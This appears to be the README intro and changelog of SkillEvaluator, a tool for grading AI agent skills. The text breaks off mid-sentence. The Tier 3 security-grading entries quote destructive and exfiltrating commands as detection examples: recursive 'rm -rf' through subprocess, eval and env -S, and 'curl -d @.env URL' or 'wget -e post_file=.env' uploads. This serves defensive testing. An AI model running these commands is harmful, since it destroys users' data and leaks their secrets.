Multi-tier framework for evaluating AI agent skills and plugins with quality gates, security scanning, harness compatibility checks, semantic overlap detection, synthetic evaluation dataset generation, and live agent evaluation that measures how skills affect agent behavior. Ships reusable CI templates that bring every check to any repository.
Changelog
All notable changes to SkillEvaluator are documented in this file.
Unreleased
Changed
- Claude Code log recovery pairs batched and delayed tool results without repeatedly scanning earlier tool calls, reducing reconstruction time for long trajectories.
- Tier 3 lift intervals compute faster when every case has the same lift; results are unchanged.
EmbeddingRegistry.queryandquery_entryno longer call the embedding provider when the catalog has no eligible entries to compare against. These queries return an empty result without constructing the provider client, including when that provider is missing or unreachable.
Documentation
- Add a README badge linking to the reusable GitHub and GitLab CI templates, and explain how to add automated quality and security gates to a skills repository without maintaining evaluation code.
- Expand repository CI onboarding in the README, linked from the Get started
table, with guided setup, current GitHub and GitLab templates, and their
validation and security coverage. Highlight the verified 500+ static rules
and detection patterns behind the CI check groups. Use
validate --tiers 1and scanner setup in the CLI getting-started card, with the all-tier command in a collapsible section. - Simplify the README Harness Check introduction with key-free and agent-free callouts now that the supporting 1.0.1 package is published.
- Describe the other Tier 1 checks alongside Harness Check in the README and
include
harnessin the reference page's default check list.
Added
- A dedicated NeMo Gym integration guide with setup, reviewed-dataset evaluation, reports, and troubleshooting.
Fixed
tier3 validatenow exits nonzero whenevals/is missing, matching the error it reports.- Scanner install hints in
health-checkanddoctornow match the host: Windows suggestswinget install Gitleaks.Gitleaksanduv tool install semgrepinstead ofbrew, macOS keepsbrew, and Linux suggestsgo installor a release binary. - Malformed optional trajectory
final_metricsleave condition usage unavailable and no longer abort fresh or reused Tier 3 result collection. - Git repository-root lookups preserve trailing whitespace in directory names instead of resolving a different path, keeping report links, repository context, and generated-results ignore entries tied to the actual checkout.
- Rebuilding validation results after severity overrides or scanner finding deduplication no longer repeatedly scans accumulated independent diagnostics; diagnostic order, duplicate-warning options and summary counts are preserved.
- Allow GitHub all-tier CI to opt out of deployment records while retaining environment secrets. Existing consumers keep deployment tracking by default.
- Point the PyPI Documentation link at the NVIDIA documentation instead of the GitHub README, starting with the next release. Published 1.0.1 metadata is unchanged.
- Tier 3 security grading now gives a destructive-command finding for a
recursive
rmthat Python or Node code runs from a literal argument vector, as inpython3 -c "import subprocess; subprocess.run(['rm', '-rf', '/home/u'])",spawnSync('rm', ['-rf', '/home/u'])or an execution tool'scodeargument, and for an argument-vector command such as["rm", "-rf", "/workspace"]; these scored Security1.0in 1.0.1. The vector is checked as the shell command it names, from where the interpreter starts, so a/tmptarget, a force-onlyrm -fof a file outside system and home paths, and a cache or trial output cleanup still score1.0. The Tier 3 guide lists the forms that are not read. Python code nested too deep to parse no longer stops the check on Python 3.12 and later. Both the host checker and the bundled Harbor verifier apply the fix. - Tier 3 security grading now warns about network exfiltration (Security
0.5) for HTTP uploads by interpreter code a call runs, as inpython3 -c "import requests; requests.post(URL, data=d)",node -ewithfetchand aPOSTmethod, orsubprocess.run(["curl", "-d", "@.env", URL]), and throughxh,wget -e post_file=.env, or a curl-Kconfig or.wgetrcthe same call writes, which scored1.0before this change. Routes, test clients, mocks and code that is only written do not warn; a call whose reading spends its work budget does, reported as an incomplete inspection rather than observed unsafe behavior. The Tier 3 guide lists the forms that are not read. Both the host checker and the bundled Harbor verifier apply the fix. - Incomplete SkillSpector scans now quote the parser span, cause, and check from
parser_diagnosticonstatic_parse_limitrows that have no line of their own, keep a bounded copy of that diagnostic inskillspector_completeness, and, when every such row isruntime_dependent, explain that SkillSpector could not resolve a command or code string known only at run time. The check staysINCOMPLETE. An AE1 finding for that file now names the same lines in its suggestion, such asstatic_parse_limit (static_patterns_tool_misuse) at target lines 74-170: SkillSpector leavesparser_diagnosticout of the finding'sevidence.reasons, so the span comes from the oneanalysis_completeness.ledger_exceptionsrow with the same path andreason_code, and none is shown when several rows match. That reason inskillspector_evidence.reasonscarriesline_source: "parser_diagnostic". Because the suggestion text changes, thefinding_idof each such AE1 finding changes once with this release.
1.0.1 - 2026-11-17
Documentation
- Refresh the versioned CI catalog and comments-only setup for 1.0.1, and clarify that all-tier CLI onboarding was already included in 0.9.0. Keep published PyPI availability separate from the new release pins.
- Describe Harness Check, JUnit and the NeMo Gym adapter as 1.0.1 capabilities while keeping package availability explicit.
Fixed
Disable OpenCode snapshots by default to avoid broken-pipe failures after a completed task, while preserving explicit user snapshot settings.
Preserve opaque Claude gateway model IDs across Docker, local, and native Harbor command construction while keeping native Anthropic, Vertex, and Bedrock routes independent from a gateway-backed judge.
Count a standalone Tier 2 evaluation as one skill in JSON and HTML reports, and prioritize failed-runtime recovery without hiding authored source or runner instructions.
Select starter-demo score expectations by the installed evaluator version, preserving the released 0.9.0 example while recognizing the 1.0.0 scores.
Retain the GitLab tools revision in aggregated report provenance.
Document the tested editable NeMo Gym installation required by OpenCode and the completed Codex, Claude Code, and OpenCode live paired runs.
Folder validators apply skill-discovery exclusions only below the requested scan root. A checkout inside a directory named
results,evals, or.versionsno longer loses every live skill, while nested evaluation snapshots remain excluded.Reject duplicate price-file keys and boolean rates before budget accounting, and report unrepresentable integer rates as configuration errors.
The bundled
create-custom-graderexample now ships the benchmark folder and existing skill its first two cases ask the agent to convert, underevals/files/, and each case declaresfilesso only its own fixture is staged. Previously those cases had no workspace input to work from.The bundled
api-callerexample no longer fails Tier 2 deduplication: its two scripts share one HTTP(S) URL check fromscripts/url_safety.pyinstead of each defining_validate_http_url(), andcall_api.pyno longer repeats the SKILL.md usage section in its module docstring.Tier 3 dataset generation no longer names an import-only helper module, such as
url_safety.py, as a case'sexpected_scriptwhen the skill has a script that does something when run. A skill with one script, or only helpers, keeps its previous choice.Tier 3 security grading now reads
rmthateval,env -Sor agit grep -Opager runs, with$'...'words decoded and joined, soeval '$CMD -rf /workspace'andenv -S 'rm\_-rf\_/workspace'receive a destructive-command finding, and so does a quotedrmcommand name such as"rm" -rf /workspace, inbash -ctext or text a here-document feeds to a shell only beside otherrmtext. Other commands keep their reading, sogrep 'rm' -rn .and an array literal such ascmd=("rm" -rf build)do not receive it. Thermpattern now runs in linear time:rm -and 40,000 lettersrtake milliseconds instead of 10 to 13 seconds. Text the lexer cannot split is read in one pass, command by command, where more than 65,536 distinctrmfragments get it, and so does a command read for a quotedrmname or foreval,env -Sor pager text that may runrm, also one inside such text, when it is over 64 KiB or 4,096 tokens. These readings stop once the texts they check count 256 KiB of a trace, each word, shell operator and substitution counting 10 characters more, and the rest of the trace keeps its earlier reading.
1.0.0 - 2026-11-17
Release overview
SkillEvaluator 1.0.0 adds harness compatibility checks, CI report integrations,
and improvements to evaluation reliability, security, and reporting. The merged
source-preparation snapshot is d8e4e82878a95c44a1881c9e200fb8e568c63923.
Compared with published v0.9.0, it contains 210 change PRs plus release-preparation
PR #600, or 211 PRs in total.
PR #498 is already included in v0.9.0 and is excluded from that count.
Main subsequently incorporated #611
at 0f3d980d1feb322da768c92d1735973f39be3d0d. The draft scope through that
revision is 211 change PRs plus #600, or 212 PRs total; final source identities
must be updated when the release is frozen.
Highlights
- Make Tier 1 Efficiency, Discoverability, and Correctness rules configurable
through
--quality-config: token-budget, description-length, and reserved-name settings, deductions, messages, and suggestions. Packaged scores stay the same; affected finding IDs and the packaged quality-config digest change once (#611). - Add
skillevaluator harness-checkand a Tier 1 compatibility panel for Claude Code, Codex, Copilot CLI, Hermes, OpenClaw, and OpenCode. Versioned static profiles cover discovery, frontmatter, description and delivery limits, invocation fields, duplicate installations, and plugin components. Findings are advisory under the default policy; standaloneharness-checkexits 0. - Add JUnit XML reports with
-r junit. Incomplete checks are errors, checks that did not run are skipped, and failures follow the same gate as exit codes. - Add offline pre-commit hooks:
skillevaluator-quality,skillevaluator-schema, andskillevaluator-lint-scripts. These hooks need no API key, Docker, network access, or scanner downloads. - 🎯 NeMo Gym integration: run Tier 3 evaluations through NeMo Gym with SkillEvaluator’s grading and reports. Get started. The integration is experimental; Harbor remains the default backend.
- Add opt-in grader qualification coverage policies, risk limits, preflight checks, and retained assessment evidence. These tools and the synthetic pilot do not establish grader reliability or release qualification.
- Add a reusable workflow for scored Tier 1 PR comments without hosted reports or GitHub Pages. Existing generated CI configurations retain their pins.
- Improve partial-run evidence, budget-denied and skipped-baseline reporting, token and cost accounting, price provenance, and benchmark verdicts.
- Expand credential redaction, improve activation and declarative-check evidence, enforce scanner pins, and preserve incomplete scans as incomplete.
- Refresh HTML reports, improve SARIF path encoding, and add dataset-first onboarding, installation guidance, and a metrics reference.
Additional fixes included at merge
- #738: exclude punctuation-only tokens from the text-analyzer's top words.
- #737: accept signed calculator conversions and reject trailing or malformed input.
- #760: avoid Python lint recursion failures on valid expressions.
All three fixes are included in the merged source snapshot, although they were absent from #600's original preparation branch. No main-branch change was missing at that merge snapshot.
Upgrade and compatibility notes
- Python 3.12-3.14 remains supported. Base installation now includes Bandit and uv; Tier 2/3 still require their extras. Managed scanners download on first use.
- Default author-attribution requirements become advisory. Use
--profile registryfor strict author and metadata-ID requirements. Policy digests change. - Rename severity overrides from
SECURITY.Unknown (AE1)toSECURITY.Incomplete referenced artifact analysis (AE1). AE1 finding IDs change once with the improved finding text. - Unverified hook payloads now trigger a Critical security gate failure that
severity overrides and
--llm-verifycannot clear. - Managed SkillSpector moves to 2.13.4. NVIDIA Build defaults to
nvidia/nemotron-3.5-lightning-30b-a3b; SkillSpector's Anthropic/Bedrock defaults move to Claude Opus 5.5. Explicit model overrides remain available. - NeMo Gym is experimental and Docker-only. It requires the separately pinned
compatible runtime; public
nemo-gym==0.7.0is incompatible. Specific Codex and Claude Code live runs are recorded; OpenCode currently fails during Gym agent setup. Broader agent/grading combinations still need qualification. - Existing CI workflows keep immutable pins and require an explicit update. The 1.0.0 source preparation does not replace final CI image/bundle and package verification, or complete product publication.
The full PR inventory and detailed source changelog record the release scope. Final published artifacts must identify their own reviewed source revision.
Added
Dataset-first Tier 3 walkthrough: prepare and review cases before an explicit live evaluation, with a short dataset guide and concise run-settings page. Tier 1 and Tier 2 now have short first-run paths; detailed checks, policies, algorithms, and run contracts move to linked references with legacy anchors preserved. Installation defaults to the lightweight base package and offers
[all]explicitly for all three tiers.Central installation guide with pip and uv PyPI installs, uv bootstrap, and direct GitHub source options for all three tiers. Release differences, scanner setup, and smaller installs are documented on a linked options page. Tier guides and the quickstart use the installed CLI. Navigation groups Tier 1 Validation, Tier 1 Harness Check, Tier 2 Deduplication, and Tier 3 Live Agent Evaluation in that order.
Task-first documentation entry pages: a three-step keyless quickstart and a live-evaluation walkthrough with provider tabs, readiness checks, and report interpretation. Detailed Tier 3 run options, runtime behavior, grading, results, and experiments now have separate reference pages; existing topic bookmarks link to their new locations. The README harness panel is labelled as an illustrative profile summary.
Pre-commit hooks for offline Tier 1 skill checks:
.pre-commit-hooks.yamlexposesskillevaluator-quality,skillevaluator-schema, andskillevaluator-lint-scripts. A hiddenskillevaluator precommit-runentry maps changed files to skill roots and runs each check without an API key, network, Docker, or scanner download.JUnit XML report format (
-r junit,.junit.xml) for CI test-report artifacts. One testsuite is emitted per check group, failures include file:line when recorded and follow the same gate as the exit code, incomplete scanners are reported as errors, and checks that did not run are skipped rather than reported as passed.The Tier 3 report data and JSON report record which execution backend ran the evaluation, as
execution_backend(harborornemo-gym), next to the sandboxenvironment.report.htmlshows the Tier 3 execution backend (Harbor or NeMo Gym) beside the sandbox environment, in the agent evaluation summary and the evaluation dataset header.Document measured real-provider saved-catalog scale separately from 5,000-entry in-memory qualification, as fixture-dependent examples rather than guarantees.
harnessresults flag a project skill that has a same-named copy in a user-level skills folder the harness also reads (*-USER-COPY). Claude Code uses the user copy, Codex lists both, and the other harnesses use the project copy.harnessresults flag a skill whose description has nearly the same words as another skill's in the same folder (*-LOOKALIKE), with no embedding key. The model may route a request to the wrong one of the two.The
skillevaluatoragent skill now tells the agent to check for the CLI and, with the user's permission, install it when missing (uv tool install,pipx, pip in a Python 3.12-3.14 virtual environment, oruvx), and adds a CLI-missing Tier 3 case. The case's target skill is inlined in its prompt, so the installed skill folder carries no secondSKILL.md.Canonical
comment-skill-checks.ymlreusable workflow and source template for the standard scored Tier 1 PR comment without hosted reports. It verifies the existing signed receipts and native evidence, reuses the shared report and comment helpers, and needs no Pages configuration or history branch. Future generated bundles include the template; archived bundles and the released onboarding CLI retain their existing hosted publisher setup.Each
harnessrule records a confidence level and, where behaviour changed between releases, the versions it applies to (shown with-v).harness-check --harness-version codex=0.170.0adds a note when you run a release other than the one a profile was verified on.harness-checktakes the model setup some limits depend on:--context-tokens,--custom-provider,--explicit-invocationand--headless(a Claude Code skill withallowed-toolsdoes not load headless).Plugin component rules: skill namespacing, Codex's plugin-skill cap and Agent Plugins hooks, Copilot CLI MCP server names, disabled plugins, and components a harness does not deliver.
harness-checkon a plugin folder shows which plugin formats each harness accepts (.claude-plugin,.codex-plugin, Copilot, Agent Plugins v1, Hermesplugin.yaml) and flags an empty plugin.harnessrules for harness gates: Hermesplatformsand OpenClawmetadata.openclaw.requires.harnessrules for invocation fields:disable-model-invocation, Codex'sagents/openai.yamlpolicy,allowed-tools, Claude Code-only fields and Hermes project trust. Tier 1schemanow reports fields outside the agentskills.io spec (LOW).harnessrules for placeholders: price-like$Ntext that Claude Code and OpenCode replace with arguments (with line numbers), and$ARGUMENTSand${CLAUDE_SKILL_DIR}, which only Claude Code substitutes.harnessrules for delivery limits: Claude Code's body cap, OpenCode's 51,200-byte / 2,000-line reads and long lines, OpenClaw's whole-read and weighted result caps, Hermes's 100,000-characterskill_viewbudget and Codex's ~10K-token shell-output cut. Tier 1schemanow reportsSKILL.mdsize tiers (32 KiB LOW, 50 KiB MEDIUM, 256,000 bytes HIGH).The
harnesscheck measures a skill together with the skills installed beside it: list budgets (scaled by the context window), duplicate names and which copy each harness uses, and OpenClaw's prompt cap and compact list. Acatalogline in the panel names the folder measured. Skills in separate folders are measured separately, and Copilot CLI and OpenCode get an advisory reload note.harnessrules for whereSKILL.mdlives: casing, nested manifests, symlinked manifests and resources, OpenClaw symlink escapes, Codex scan depth, and files Hermes leaves out of its file list. Tier 1schemanow reports a symlinked or nestedSKILL.md(MEDIUM), and theskill.mdnaming finding explains the macOS/Linux difference.harnessrules for descriptions: missing or empty descriptions, Claude Code and Codex listing cuts, Copilot CLI's 1,024 UTF-16 unit limit, quotes escaped in the Copilot CLI and OpenClaw lists, and Hermes's 60-character listing;-vshows the description each harness lists. Tier 1schemanow reports a description over 1,024 UTF-16 units (MEDIUM) and no "Use when ..." trigger in its first 60 characters (LOW).harnessrules for frontmatter parsing: duplicate keys and tab indentation (strict YAML parsers drop the skill), a UTF-8 BOM (Codex), no front matter (Copilot CLI) and long custom frontmatter that never reaches the model. Tier 1schemanow reports duplicate frontmatter keys (HIGH) and a UTF-8 BOM (MEDIUM).New
skillevaluator harness-check <skill>command and a "Harness compatibility" panel after the Tier 1 results ofvalidate: one line per harness with its most serious finding and an outcome label (not found,rejected,listing shortened, ...), then+N moreand the note count;-vshows every finding with its fix. The checks line shows! harness, Tier 1 gets aharnesssummary line, and the result box names the harnesses that won't load the skill.harness-checkalways exits 0;--json PATHwrites the block.New advisory Tier 1
harnesscheck: for each agent harness (claude-code,codex,copilot-cli,hermes,openclaw,opencode) it reports whether the skillloads, isdegradedor isnot_loaded, from versioned profiles shipped with the package. It runs by default and is advisory under the default policy; custom policies may promote findings. It lists its findings in every report and adds aharness_compatibilityblock to JSON.--harness codex,claude-codenarrows the harnesses and--harness-profiles DIRloads profiles from a directory. The first rules flag a skill installed outside the folders a harness scans.A separate four-case synthetic grader pilot adds forbidden-startup-write and root-search challenges with quoted/read-only and scoped controls, an independent label worksheet, content/source manifest and explicit security/Efficiency availability policy. Task Overall failures remain independent of composite scores. This diagnostic pilot establishes no all-metrics qualification, statistical representativeness, release approval or Jira acceptance; independent automated review is pending.
Experimental
tier3 evaluate --backend nemo-gymtargets a native Gym task-folder interface. Publicnemo-gym==0.7.0is incompatible; public source candidateNVIDIA-NeMo/Gym@792fa142f58277aecff05d402061d647e9a92acfexposes the requiredTARGEThelp interface but still needs independent native runtime qualification. CLI compatibility is checked before dataset generation or task staging, with bounded combined help output and process-group cleanup on timeout, interruption or overflow. Doctor no longer treats an installed version as runtime readiness. Specific Codex and Claude Code live runs are recorded on the pinned runtime. OpenCode currently fails during Gym agent setup before either arm starts. Broader agent/grading combinations, custom-Dockerfile runs and input-file handling still need independent qualification. The adapter's intended contract runs the Tier 3 cases on NeMo Gym instead of Harbor (--backend harbor, the default, is unchanged). The sameevals.jsoncases are generated as task folders, and NeMo Gym's own orchestrator, agent harness (Codex, Claude Code, OpenCode) and Docker sandbox run them with the SkillEvaluator verifier. Its rollouts are written back as the usual trial results, so scores, lift, reports andresult.jsonare shared;result.jsonrecordsexecution_backendwith the NeMo Gym version. Gym runs as a separate pinned process (SKILL_EVAL_NEMO_GYM_BIN) because it needs Python 3.13.14 or later. Options the backend cannot honor (other environment modes,--harbor-keep-jobs,--stop-on-pass, ...) are rejected before anything runs, with no fallback to Harbor.--timeout-multiplier,--copy-repo,harbor.agent_workdirandharbor.pre_agent_setup,skill_workspace.decoy_manifestand--custom-dockerfile-mode preserve,harbor.base_image_modeand nativeevals/harbor/tasks work as on Harbor, andtier3 doctor --backend nemo-gymchecks Gym readiness. When a Gym process group cannot be confirmed stopped after a timeout or interruption, no further arm starts beside it and the failure is reported. After a timeout, the failed run still keeps the scores of the arms that finished.Add four configurable quality rules to the
--quality-configfile. Each setspoints,messageandsuggestionplus one setting, andpoints: 0turns it off:Rule Setting Packaged value efficiency.token_budgetmax_tokens5,000 discoverability.description_too_shortmin_chars20 discoverability.description_too_longmax_chars200 correctness.reserved_nametermsanthropic,claudePlease note - This change set moves hard coded values into the default quality config file, so scores, deductions and severities are unchanged, but the before/after
finding_idwill be different. A custom file from an earlier version keeps its digest; the packaged digest changes once.Tier 1 Incomplete referenced artifact analysis (AE1) findings from SkillSpector now say why SkillSpector stopped inspecting the file that a skill names. The suggestion names the file, its disposition and each reason SkillSpector gives, such as
static_parse_limit (static_patterns_tool_misuse), with any line and limits, and the finding's metadata records them underskillspector_evidenceandskillspector_occurrences. The suggestion leaves out the run time and the time budget (observed_seconds,limit_seconds), which differ from run to run, so a finding keeps itsfinding_idfrom run to run; because the suggestion text is new, each AE1finding_idchanges once with this release. Before, the finding said onlyReferenced artifact was not completely inspected, and its reason had to be matched by hand against the incomplete-analysis error, which lists at most three rows. With SkillSpector before v2.12.0 the finding was titledUnknown (AE1)and told the user to make the file available although SkillSpector had read part of it. It now carries the rule's name and the reasons from the report's ledger rows for the file. Its check name, and so its SARIF rule ID, changes: aseverity_overridesentry keyed onSECURITY.Unknown (AE1)must now useSECURITY.Incomplete referenced artifact analysis (AE1). The JSON fieldskillspector_reference_summarycounts the files and the lines that name them for every result, and a failed check shows the counts in one line of the terminal, Markdown and HTML reports. Severities and scan completeness are unchanged; a gate changes only where an override ofSECURITY.Unknown (AE1)was what let the check pass.Tier 3
validate-grader --qualification-policy FILEsupports explicit, assessment-only metric/class/category coverage and risk limits, provider-free preflight checks, retained not-run receipts for insufficient labels, final policy decisions and tracked verifier-source Git provenance. Correct expected abstentions demonstrate category coverage without supplying binary scored cases; evaluated report scope must match its selected assessment cases. The experimental example is opt-in and fails bundled-suite class coverage; it establishes no live reliability or release approval. Resource comparison metadata and HTML also explain that observed consumption includes task failures, lower usage alone does not establish better Efficiency or quality, pairing does not certify equal concurrency/budget or judge-model agreement, and reused telemetry is historical. Scoring, raw deltas and reuse eligibility are unchanged.
Changed
The
skillevaluatoragent skill now asks the user before installing the CLI, an extra or a missing scanner, using a provider key, spending on a Tier 3 run or using--env-mode local(trusted skills only; it does not reuse the user's agent logins). It also asks for real tasks, outcomes and input files before writing eval cases, explains that Tier 3 needs its own provider key, and reports no verdict for a tier that could not run. Its ownevals/evals.jsongains nine cases (010-018) covering these prompts, including consent before cold scanner provisioning and writing a dataset from the user's requests; the implicit dataset case now expects clarification and accepts a labeled draft.The CI guide's recipe installs SkillSpector from the commit behind its release tag and checks the Gitleaks archive against the published SHA-256 before unpacking it, matching the repository's own workflows.
The bundled
text-analyzerexample skill's description now says when to use it and lists sentence count and average word length, so Codex reads the skill before using it. The example's quality score is now 88.8/100 with 5 findings (was 86.2 with 6).The
nv_builddefault model moves fromnvidia/nemotron-3-super-120b-a12btonvidia/nemotron-3.5-lightning-30b-a3b. NVIDIA Build retired the hosted endpoint for the Super model, so a run with nollm-modelset answered HTTP 404 and the rubric and LLM security verification did not run. The same default applies to SkillSpector, the Tier 3 judge and NVIDIA Build local agents.The
skillevaluatoragent skill now tells the agent that a gateway key works through theopenai-compatibleprovider, that a failed Tier 1 gate and a high quality grade are two separate results, and thatPublication eligibility: Incompleteafter a passing keyless run is expected.SkillSpector's default model on Anthropic and Bedrock moves from Claude Opus 5 to Claude Opus 5.5 (
claude-opus-5-5,us.anthropic.claude-opus-5-5), matching the chat default. SkillSpector 2.13.4 returns structured output for Claude 5.5; a scan on the native Anthropic API completed at full coverage.The HTTP 404 message for an unavailable LLM model now says the provider's default may not be callable with the key and points to
SKILL_EVAL_LLM_MODEL(llm-modelin the reusable workflow);ci/README.mdnotes the same.Update the managed SkillSpector scanner and Tier 1 CI image from 2.13.3 to the latest release, 2.13.4, with matching verified wheel and source hashes. This fixes false LP1 findings for scoped
allowed-toolsgrants and improves recovery of malformed LLM responses. SkillSpector 2.13.4 can still report JSON files containing atimeoutkey as partial analysis; those scans remain incomplete rather than being treated as successful.The rubric judge's reference supplement budget is configurable through
SKILLEVALUATOR_RUBRIC_SUPPLEMENT_BYTESand defaults to one mebibyte instead of 30,000 bytes, which a real linked guide graph outgrows. Required linked Markdown is bounded only by that budget, so a guide larger than an optional preview is collected whole; optional script and reference previews keep their own small per-file bound. The budget decides how many bytes of the skill's own guidance are collected, never which paths may be read: every reference is still confined to the skill's declared root by the same secure reader, and guidance that does not fit still stops the evaluation with an explicit unsafe-input finding rather than being dropped from the judge's prompt.The
defaultpolicy no longer blocks a skill for its author attribution, because the Agent Skills baseline requires onlynameanddescription(#43). A missingmetadata.authoris now a LOW advisory, and a person, team, or organization name without an email (such asNVIDIA cuOpt TeamorJane Doe (@jdoe)) passes as an INFOSCHEMA.author_without_emailfinding. A malformed or unsafe value still failsSCHEMA.author_formatat HIGH: a bare email or an email outsideName <email@host>, stray angle brackets, control or invisible formatting characters, no letters or digits, or more than 256 characters. A policy with anauthor_email_regexstill needs an email in that domain. Overlays ondefaultthat relied on the old HIGH author severities should setSCHEMA.author_missing: highandSCHEMA.author_without_email: high, or use--profile registry. The policy digest changes for every profile because it now includesmetadata_id_requirement.Add the bundled
registryprofile (--profile registry) for registries with a publication contract. It requiresmetadata.authorinName <email@host>form and a validmetadata.id.Validate an optional
metadata.idas an exact 1-64 character lowercase ASCII slug. A policy setsidentity.metadata_id_requirementtoignore(the default),recommend, orrequire; an unknown value is an error. A collection run reports an ID declared by more than one skill, andvalidateon a catalog lists these incatalog-summary.jsonundermetadata_id_conflicts(each sharing skill fails underrequire). Invalid and duplicate IDs are MEDIUM advisories unless the requirement isrequire, and the ID does not change local catalog identity. JSON reports include the active requirement underpolicy.metadata_id_requirement.Install Bandit with the base package, so
pip install skillevaluatororuv tool install skillevaluatorruns every default Tier 1 check without an extra. pip-audit, used only by the opt-in dependency audit (--check dependency), stays in thesecurityextra. The Bandit install hint now says to reinstall SkillEvaluator.Install uv with the base package, so a plain
pip install skillevaluatoron a machine without uv can run the Tier 1 security check. Before, that run endedINCOMPLETEwith "skillspector not installed", because the pinned, checksum-verified SkillSpector wheel is only run throughuv tool run. A uv onPATHor an installedskillspectormatching the pinned release is still used first, and SkillSpector stays out of SkillEvaluator's own dependencies. The public Docker image gains the same behavior: with network access its Tier 1 run now completes instead of endingINCOMPLETE.Root help shows the SkillEvaluator wordmark in more terminals: the one-line wordmark still needs 115 columns, 76-114 columns now get the same letters stacked (SKILL over EVALUATOR), and 60-75 columns get a two-row wordmark. Narrower terminals keep the plain title. A wordmark that the terminal's output encoding cannot print is skipped: gbk and big5hkscs lack the half blocks of the two-row one, so they get the plain title at 60-75 columns.
Standalone HTML reports use one NVIDIA presentation across all three tiers, with consistent typography, a green header, numbered Insights cards, and plugin evidence inside the relevant tier. Clickable tier cards replace the left sidebar and sticky mobile tier bar. Reports containing Tier 3 default to dark and other reports to light, instead of following the device theme; saved Light, Dark and System choices still take precedence. The renderer gives saved incomplete runs concise coverage and actions, with full errors in Diagnostics. Newly saved failed-run conclusions and recommendations keep their existing raw error text. Agents with diagnostic-only trial evidence are excluded from lift panels; their trial rows and canonical exports remain available. Overview links to complete Insights instead of repeating its cards; passive evidence and routine run provenance stay folded. Recorded native token and latency breakdowns are available under Trials without rerunning evaluations. The native header scale and visible tool versions, consolidated baseline comparison with Overall and partial-comparison details, clickable agent scorecards, and Harbor results/analysis actions are retained. Empty primary viewer metadata no longer hides usable recorded summary links. Full Tier 3 downloads preserve the recorded canonical payload; HTML JSON snapshots add supplied plugin evidence. CLI JSON validator rows now include a recorded boolean
optional_skip, which the retained JSON reader round-trips without changing gate policy. Shared plugin composition supplies static and retained runtime evidence before the HTML template renders. Recorded Harbor upload links survive saved-run regeneration. The renderer version sits beside SkillEvaluator, scanner versions appear in Tier 1, and the aligned desktop report is slightly wider. Long scanner versions wrap within mobile tiles. Tier verdict chips and status badges keep at least 4.5:1 text contrast in the light and dark themes.HTML Overview combines execution status, scored/unscored coverage and the recorded next action. The baseline comparison stays open with its scores, lift and Overall visible; signals and reasoning use adjacent disclosures. Compact Definition disclosures beneath each dimension name explain the metric, including unavailable scores and no-JavaScript viewing, without repeating its definition in a separate guide or the Reasoning column. Native agent cards, versions and typography remain. Dataset diagnostics share exact structured explanations within an attempt and status while retaining every assertion, requirement and evidence association. Missing pass@k case outcomes show N/A alongside retained attempt counts; measured zero success remains 0%. Harbor actions use concise recorded labels and retain exact job identities in Diagnostics.
HTML can display optional retained native dependency completeness, composition/ablation, Harbor delivery status, provider refusal/mixed-model comparison basis, and recovery notes. Active warnings stay visible; routine evidence is folded in the relevant view with local omission and shortening notices. These are passive display fields, not new backend coverage; hook/canary runtime summaries still need separate producer integration. Public recovery, MCP and comparison projections remain. No scoring, gate, CLI, canonical payload or newly produced insight behavior changes.
Embedded HTML JSON uses compact whitespace and charts receive only their consumed data. Charts initialize for visible views after applying the theme, reuse instances, and prepare closed views synchronously for print. Print includes retained Dataset cases hidden by screen filters and restores the screen's disclosure and filter state afterward. Downloads preserve the retained snapshot and existing safety bounds.
Documentation
The Tier 1 validation guide now says that a PowerShell backtick before a space does not count as a quoted or escaped space for the SkillSpector missing-reference line check, so a labelled line such as
**Note:** run setup` h*.ps1passes whensetup helper.ps1is left out.The agent skill guide explicitly installs the CLI before the first check, so its setup flow also works with skill versions that do not bootstrap it.
The CI guide's
jqquality gate fails when a report has no quality score (it passed before) and checks every skill's report in a folder run.The CI guide's GitHub Actions recipe pins each action to a commit SHA, as the repository's own workflows do.
The CI guide's troubleshooting note for an
incompletestatus no longer says SkillEvaluator never installs the scanners. The first Tier 1 run downloads pinned SkillSpector and Gitleaks releases when they are missing, so the note now points to network access, and it says a missing Semgrep counts only whenSKILLEVALUATOR_REQUIRE_SEMGREP=1is set."Evaluate Skills from Your Agent" is shorter and visual: a how-it-works diagram, install steps that start with
npx skills add NVIDIA/SkillEvaluator(with Claude Code and Codex examples), the two ways to call the skill (just ask, or by name) and an example session. Installing the CLI yourself, provider keys, live evaluation and sandbox notes moved into collapsed sections.The starter walkthrough identifies the PASS message as the success summary; the runner's final line gives the report and editable-starter directory.
The README's Tier 1 row now covers harness compatibility and links to the
harnesscheck.The
nv_builddocumentation namesnvidia/nemotron-3.5-lightning-30b-a3b(Nemotron 3.5 Lightning) as the default model in the configuration guide, environment variables reference, CLI reference, agents and sandboxes guide and Tier 3 live evaluation guide, and the runnable--agent-modelexamples use it. This entry covers the documentation only; the runtime default change ships separately.THIRD_PARTY_NOTICES.mdlists Bandit under the base dependencies. It has been installed with the base package since it moved out of thesecurityextra, but the notice still sat in the Security row, which now lists pip-audit only.New Harness Check docs page: what
skillevaluator harness-checkreports and how to read its panel, with real output, the detailed view and how to fix findings, what the rules check, the harnesses it covers, and how to run it on its own or insidevalidate, the JSON block, and when the check helps. The Tier 1 guide and the CLI reference link to it. Clarify description rejection versus truncation, invocation-specific argument substitution, folder-symlink target limits, and validation report/gate defaults. Qualify the CI policy behavior and static loader predictions in the new FAQ.The README opens with a three-column Get started section: run the CLI directly (
pip install skillevaluator, withuv tool install skillevaluatorin a collapsed section, thenskillevaluator validate ./my-skill --tiers 1), add checks to your repository withskillevaluator ci init, or install the agent skill withnpx skills add NVIDIA/SkillEvaluator. Each column links to its guide on docs.nvidia.com. The CI column starts by saying what the template does: it checks every skill change, with no evaluation code to maintain. Under the table, a harness check highlight gives theskillevaluator harness-check ./my-skillcommand, an example result with one line per harness, and links to the Harness Check page and to live evaluation. The intro now mentions plugins. The README word limit in the packaging test goes from 1,100 to 1,200 to fit the example.The README header is centred: the wordmark is the page title, followed by a one-line tagline and the badge row. The separate text title is gone.
The README badge row adds GitHub Stars and Forks badges that show the live counts.
The README's Get started section now installs first (
pip install skillevaluator, withuv tool installand a clone-and-uv runpath in a collapsed section) and then shows three ways to use it, each under a header card: the CLI, the CI template, or the agent skill. The CLI column gives the--tiers 1check that needs no LLM key and the all-tiers run with a free NVIDIA Build key. The harness check heading is shorter, with its three points (no LLM, no key, no agent run) on their own line. Quickstart is now two steps:skillevaluator quality-check ./my-skillwithout a key, thenskillevaluator validate ./my-skillwith a free NVIDIA Build key for all three tiers.A new Metrics Reference page defines every number the CLI, HTML report, JSON report and
